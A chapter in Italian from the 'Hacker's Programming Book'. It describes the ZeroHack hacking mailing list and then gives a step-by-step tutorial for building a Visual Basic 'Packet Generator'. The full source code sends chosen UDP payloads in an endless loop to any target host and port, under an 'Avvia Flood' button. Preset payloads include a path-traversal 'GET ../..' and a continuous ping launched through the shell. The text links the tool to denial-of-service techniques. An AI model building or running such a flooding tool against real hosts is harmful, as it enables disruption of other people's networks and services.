HackerProgrammingBook_part_11 by Flavio_Bernardotti

VIEWS: 1 PAGES: 11

									Hacker’s Programming Book
I contributi dalle Mail List
Le Mail List sull’hacking
Qualsiasi hacker all’inizio cerca di informarsi su quelle che possono essere anche solo i punti
orientativi iscrivendosi ad alcune MAIL LIST.
Moltissime di queste sono italiane anche se come al solito quelle più interessanti sono quelle
americane ed in particolar modo quelle che pur trattando di hacking di fatto non si definiscono
come tali ma legate alla sicurezza di rete.
La società in cui viviamo è sempre più soffocante nei confronti degli individui i quali cercano
qualsiasi strada per sfuggire a questo meccanismo uniformante che cerca di soffocare
qualsiasi individuo spingendolo nei meandri dell’anonimità.
Questa inconscia violenza che la società esegue sulle persone fa nascere un esigenza di
ribellione al sistema che in campo internet spesso sfocia nella voglia di ‘distruggere’ tradotta,
forse in modo errato, ne significati attribuiti agli hackers.
Che questa sia l’esigenza di molti casi è evidente in particolar modo se si frequentano certe
mail list hacker o alcuni canali IRC.
Spesso su queste mail list non si crea nulla se non i piccoli imperi di certi individui i quali
mantengono le distanze dai loro sudditi mediante un martellare continuo di bestemmie di tutti
i tipi.
La violenza ideologica viene proietta anche all’interno di un modo di comportamento sociale
nell’ambito di quegli ambienti virtuali che sono le mail list e le chat.
Scegliere casualmente una mail list è spesso umiliante più del dovuto in quanto gli imperatori
di quella zona tendono a dare dello stupido a chiunque cerchi di avvicinarsi al trono e
comunque il fatto di distribuire la conoscenza non è sicuramente lo scopo fondamentale di
quelle ML.
E’ inutile dire che la mail list ideale dovrebbe essere quella in cui la parola spetta a chiunque
e dove i partecipanti più eruditi cercano di non sottolineare il grado basso di chi cerca di
avvicinarsi alle argomentazioni trattate.
Pensate ad un mail list in cui un nuovo partecipante formula una domanda e come unica
risposta riceve “Ignorante perché invece di rompere le scatole qui non ti cerchi quello che
vuoi sulla rete senza noiosare ?”
Costruttiva, non è vero ?
In una mail list come questa chiunque sarebbe incitato a continuare.
Scherzi a parte.
Quando all’inizio delle mie esperienze telematiche nel 1984 creai con altri sysop la FIDONET
italiana la mia idea era quella di creare una struttura che permettesse a persone che
nutrivano gli stessi interessi di scambiarsi le proprie esperienze.
La stessa motivazione è stata quella che mi ha spinto a scrivere diversi altri volumi, oltre
questo, e a distribuirli gratuitamente.
In ambito internet la mia adesione è stata nei confronti di una mail list ‘educata’ magari non di
quelle in cui si parla mediante codifiche algoritmiche allo stato puro ma nella quale potesse
sopravvivere anche la componente umana.
In altre parole ho evitato le mail list di superman in quanto non sarei riuscito a sopravivere al
suo interno in quanto non possiedo un lenzuolo rosso e una tutta con una S marcata sul
petto.
Quella a cui mi riferisco è ZeroHack@domeus.it o alla sua lista di backup
ZeroHack@crackinguniversity2000.it
L’idea di questo volume è di fatto nata in questo ambito e sempre in relazione a questo
ambiente è nata la proposta di inserire negli aggiornamenti di questo libro qualsiasi utility
venisse sviluppata e distribuita all’interno della ML stessa.
Questa sezione del volume è dedicata ai software italiani nati nell’ambito di questa ML.


PACKET GENERATOR by JARRET
Negli appositi capitoli abbiamo parlato della necessità in alcuni casi di generare dei pacchetti
da utilizzare in alcune tecniche come ad esempio nel caso di attacchi DOS.
Fino ad ora abbiamo visto wInject ed alcuni sorgenti utilizzati per scopi ben definiti.
A questo punto invece ecco la prima utility nata dall’ambiente ZeroHack.
Si tratta di un software scritto in VB che funge da generatore di pacchetti.
La guida è stata fornita dallo stesso autore.
Premessa:
Con questa piccola guida, si presume che chi la legge abbia un minimo di conoscenza della
programmazione in Visual Basic.

Il progetto:
Vedremo ora come strutturare l’applicazione PACKET GENERATOR, cioè una piccola utility
in grado di creare pacchetti e di trasmetterli in rete utilizzando le librerie Winsock.
Attenzione! Non si tratta di una consolle mirata ad attacchi di tipo D.o.S., ma bensì, una utility
in grado di generare pacchetti personalizzabili da trasmettere a un computer host.
Saremo così in grado di ricostruire e analizzare i pacchetti inviati e ricevuti utilizzando in
seguito uno sniffer (ad esempio ComView).

Iniziamo a creare l’interfaccia utente:
Per prima cosa, è buona abitudine stendere il progetto su carta dell’applicazione che
vogliamo creare in modo da poter avere ben sotto gli occhi ciò che vogliamo.
Ora, facciamo finta di aver già passato questo punto, visto che l’applicazione esiste già e
passiamo alla stesura dell’interfaccia utente.
Avviamo Visual Basic e facciamo click su creazione EXE Standard.
Fatto questo ci appare il primo Form che di default si chiama Form1. Rinominiamolo in
frmMain.
Ora inseriamo i controlli.
Per creare la nostra applicazione, avremo sulla barra sinistra (generale) già tutti i controlli che
ci servono, tutti, tranne due: Winsock e CommonControl 6.0 (su SP4)
Per inserirlo, andiamo nella barra del menù e clicchiamo su Progetto>Componenti.
Si aprirà la finestra Componenti.
Ora scorriamo l’elenco e cerchiamo Microsoft Windows Common Control 6.0, spuntiamo il
checkbox e scorriamo ancora di poco giù e andiamo a selezionare Microsoft Winsock
Control 6.0.
Ok, ora abbiamo tutto quello che ci serve. Selezionati questi due controlli, scegliamo applica
e OK.
Ora sulla sinistra, nella barra Generale di VB troveremo dei nuovi controlli, cioè quelli che
abbiamo appena selezionato.
Ora passiamo all’azione
Abbiamo il nostro bel form che noi abbiamo rinominato frmMain, ok, ora iniziamo a inserire i
controlli.
E cerchiamo di creare un’interfaccia simile a quella qui sotto.




NOTA: L’immagine di sfondo che vedete qui sopra ovviamente non è necessaria, ma per
abbellire un po’ l’applicazione potrete crearvi anche voi un’interfaccia inserendo poi
direttamente nelle proprietà del Form alla voce Picture una BMP.
Andiamo avanti…
Cerchiamo ora di assegnare i nomi ai controlli nel modo che segue.
Attenzione! In caso decidiate di assegnare nomi diversi ai controlli, in seguito dovrete
modificare anche il codice sorgente, dichiarando nelle Sub Routine il nome che avrete scelto
per il controllo.




Ok, ora assegnamo valori ad ognuno di questi controlli nel modo seguente:

Text1
TabIndex       =     1
Text           =     0.0.0.0
Text2
MaxLength      =     255
MultiLine      =     True
ScrollBars     =     Vertical
TabIndex       =     2
Text3
Locked         =     True
TabIndex       =     9
Text           =     Pronto per la trasmissione..
TxtPorta
MaxLength      =     5
TabIndex       =     3
Text           =     80
Command1
Caption        =   Avvia Flood
TabIndex       =    4
Command2
Caption        =   Stop
TabIndex       =    5
Command3
Caption        =     Accetta
TabIndex       =     16
Command4
Caption        = Pinga
Enabled        = False
Check1
Value          = Unchecked
Enabled        = False
Slider1
TabIndex       =     12
Winsock1
Protocol       = sckUDPProtocol
Combo1
List           = GET ../..
                HEAD
                PING 0.0.0.0 -ICMP 255 -T
                HELO target.com

Ora che abbiamo attribuito ai vari controlli i loro valori, passaimo alla stesura del codice
sorgente.
Clicchiamo sul form due volte. Ci apparirà la Sub Routine Private Sub Form_Load() ma
cancelliamola, nessun evento Form_Load() servirà al progetto.
Inseriamo ora:

Sub Timeout(interval)
    Dim Current
    Current = Timer
    Do While Timer - Current < Val(interval)
         DoEvents
    Loop
End Sub

Fatto questo passiamo alla stesura del codice abbinato all’evento Click() sul Command1,
quindi facciamo doppio click su Command1 (che corrisponde al nostro tasto AVVIA FLOOD)
e scriviamo nella subroutine quanto segue:

Private Sub Command1_Click()
On Error Resume Next
If Text2.Text = "" Then
MsgBox "Non e' stata inserita nessuna stringa da inviare!", vbCritical
Text3.Text = "Trasmissione sul target non riuscita, il valore di trasmissione e' 0..."
End If
Dim target As String
target = Text1.Text
Dim Porta As Integer
Porta = txtPorta.Text
Command2.Enabled = True
Command1.Enabled = False
Text3.Text = "Trasmissione pacchetto su " & target & " in corso..."
Winsock1.LocalPort = 2043
Winsock1.RemoteHost = Text1
Winsock1.RemotePort = Porta
Do
DoEvents
Winsock1.SendData Text2
DoEvents
If Slider1.Value = 9 Then Timeout (0.1)
If Slider1.Value = 8 Then Timeout (0.2)
If Slider1.Value = 7 Then Timeout (0.3)
If Slider1.Value = 6 Then Timeout (0.4)
If Slider1.Value = 5 Then Timeout (0.5)
If Slider1.Value = 4 Then Timeout (0.6)
If Slider1.Value = 3 Then Timeout (0.7)
If Slider1.Value = 2 Then Timeout (0.8)
If Slider1.Value = 1 Then Timeout (0.9)
If Slider1.Value = 0 Then Timeout (1)
Loop While Command1.Enabled = False
Winsock1.Close
Command1.Enabled = True
Command2.Enabled = False
Exit Sub
End Sub

Passiamo ora a Command2 (Pulsante STOP) e inseriamo altro codice:
Private Sub Command2_Click()
Dim target As String
target = Text1.Text
Command2.Enabled = False
Command1.Enabled = True
Text3.Text = "Trasmissione su " & target & " terminata..."
End Sub



Ora inseriamo il codice per abbinato al Command3 (Pulsante ACCETTA) e inseriamo il
listato:

Private Sub Command3_Click()
On Error Resume Next
Dim target As String
target = Text1.Text
Select Case Combo1
   Case Is = "GET ../.."
   If Combo1.Text = "GET ../.." Then
   Text2.Text = "GET ../.."
   Command4.Enabled = False
   Check1.Enabled = False
   End If
   Case Is = "HEAD"
   If Combo1.Text = "HEAD" Then
   Text2.Text = "HEAD"
   Command4.Enabled = False
   Check1.Enabled = False
   End If
   Case Is = "HELO target.com"
   If Combo1.Text = "HELO target.com" Then
   Text2.Text = "HELO " & target
   Command4.Enabled = False
   Check1.Enabled = False
   End If
   Case Is = "PING 0.0.0.0 -ICMP 255 -T"
   If Combo1.Text = "PING 0.0.0.0 -ICMP 255 -T" Then
   Check1.Enabled = True
   Command4.Enabled = True
   End If
End Select
End Sub

Adesso finiamo di inserire il codice utilizzando la Subroutine di Command4 (Pulsante PINGA)
n questo modo:

Private Sub Command4_Click()
On Error Resume Next
Dim target As String
Dim Porta As Integer
Porta = txtPorta.Text
target = Text1.Text
   If Check1.Value = Checked Then
   Shell ("command.com /k ping " & target & " -icmp 255 -t"), vbNormalFocus
   Command4.Enabled = False
   Check1.Enabled = False
   Text3.Text = "Trasmissione PING su " & target & " modalità MS-DOS in corso..."
End If
If Check1.Value = Unchecked Then
Text2.Text = "PING avviato su " & target & ". Premere STOP per terminare"
Text3.Text = "Trasmissione PING su " & target & " in corso..."
Command4.Enabled = False
Check1.Enabled = False
Command2.Enabled = True
Command1.Enabled = False
Winsock1.LocalPort = 2043
Winsock1.RemoteHost = Text1
Winsock1.RemotePort = Porta
Do
DoEvents
Winsock1.SendData Text2
DoEvents
If Slider1.Value = 9 Then Timeout (0.1)
If Slider1.Value = 8 Then Timeout (0.2)
If Slider1.Value = 7 Then Timeout (0.3)
If Slider1.Value = 6 Then Timeout (0.4)
If Slider1.Value = 5 Then Timeout (0.5)
If Slider1.Value = 4 Then Timeout (0.6)
If Slider1.Value = 3 Then Timeout (0.7)
If Slider1.Value = 2 Then Timeout (0.8)
If Slider1.Value = 1 Then Timeout (0.9)
If Slider1.Value = 0 Then Timeout (1)
Loop While Command1.Enabled = False
Winsock1.Close
Command1.Enabled = True
Command2.Enabled = False
Exit Sub
End If
End Sub

A questo punto salviamo la nostra applicazione e proviamo a lanciare il Run-Time premento
F5. Se tutto funziona, potrete crearne l’eseguibile da File>Crea PacketGenerator.exe (qui vi
apparirà il nome Crea… seguito dal nome che avrete scelto da dare alla vostra applicazione).
Tabelle utili

								
To top